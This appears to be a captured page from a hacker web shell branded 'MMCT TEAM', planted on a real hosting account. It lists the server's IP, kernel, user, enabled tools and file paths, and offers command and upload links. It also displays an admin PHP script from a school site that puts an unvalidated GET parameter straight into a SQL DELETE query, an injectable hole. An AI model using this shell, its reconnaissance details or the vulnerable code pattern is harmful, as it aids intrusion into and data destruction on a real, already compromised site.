MMCT TEAM
Server IP : 2a02:4780:11:1373:0:3017:be17:10  /  Your IP : 216.73.216.55
Web Server : LiteSpeed
System : Linux in-mum-web1273.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u806862359 ( 806862359)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u806862359/domains/pbacbse.org/public_html/adminweb/downloads/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u806862359/domains/pbacbse.org/public_html/adminweb/downloads/../academic-calender-delete.php
<?php
include('db.php');
if(isset($_SESSION['username']))
{
	if(isset($_GET['id']))
	{
		$id=$_GET['id'];
		$del=mysqli_query($con,"delete from academic_calender where id=$id");
		if($del)
		{
			$_SESSION['success_msg'] = 'Academic Calender has been deleted...';
			echo"<script>window.location='academic-calender-list.php';</script>";
		}
		else
		{
			$_SESSION['error_msg'] = 'Unable to delete Academic Calender...';
			echo"<script>window.location='academic-calender-list.php';</script>";
		}
	}
}
else
{
	echo"<script>window.location='index.php';</script>";
	exit;
}
?>

MMCT - 2023